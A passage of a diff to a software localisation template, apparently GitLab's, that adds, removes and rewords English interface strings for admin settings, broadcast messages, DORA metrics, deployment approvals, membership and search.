msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3268,9 +3304,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,7 +3598,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3607,6 +3643,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3865,6 +3904,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4507,9 +4549,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4678,15 +4717,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4720,9 +4750,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4976,6 +5003,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5122,9 +5161,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5216,6 +5252,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5364,6 +5403,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5923,6 +5965,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7523,9 +7574,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8124,6 +8259,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8235,13 +8373,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8528,6 +8663,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8687,12 +8825,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8876,6 +9008,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9003,6 +9138,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9105,12 +9243,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9778,21 +9922,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10283,6 +10412,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11180,6 +11312,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12495,6 +12636,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12612,9 +12789,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14370,7 +14566,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16291,10 +16493,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16805,9 +17001,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16841,9 +17034,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17167,9 +17357,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17597,9 +17784,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17918,16 +18102,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18027,6 +18208,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18689,9 +18873,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19107,6 +19288,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19119,6 +19303,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19143,6 +19333,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19173,9 +19369,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19662,7 +19870,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20145,9 +20353,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20202,6 +20416,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20220,6 +20443,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20337,6 +20563,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20656,6 +20885,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21094,6 +21326,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21318,12 +21553,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22384,7 +22631,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22448,9 +22695,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24315,9 +24577,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24482,9 +24741,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24617,6 +24873,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25454,6 +25710,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25571,6 +25827,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25640,9 +25899,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25655,9 +25911,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,6 +26294,9 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26047,6 +26306,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26068,10 +26342,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26080,9 +26354,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26110,6 +26390,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26137,6 +26420,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26422,10 +26711,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26485,6 +26777,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27312,6 +27613,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
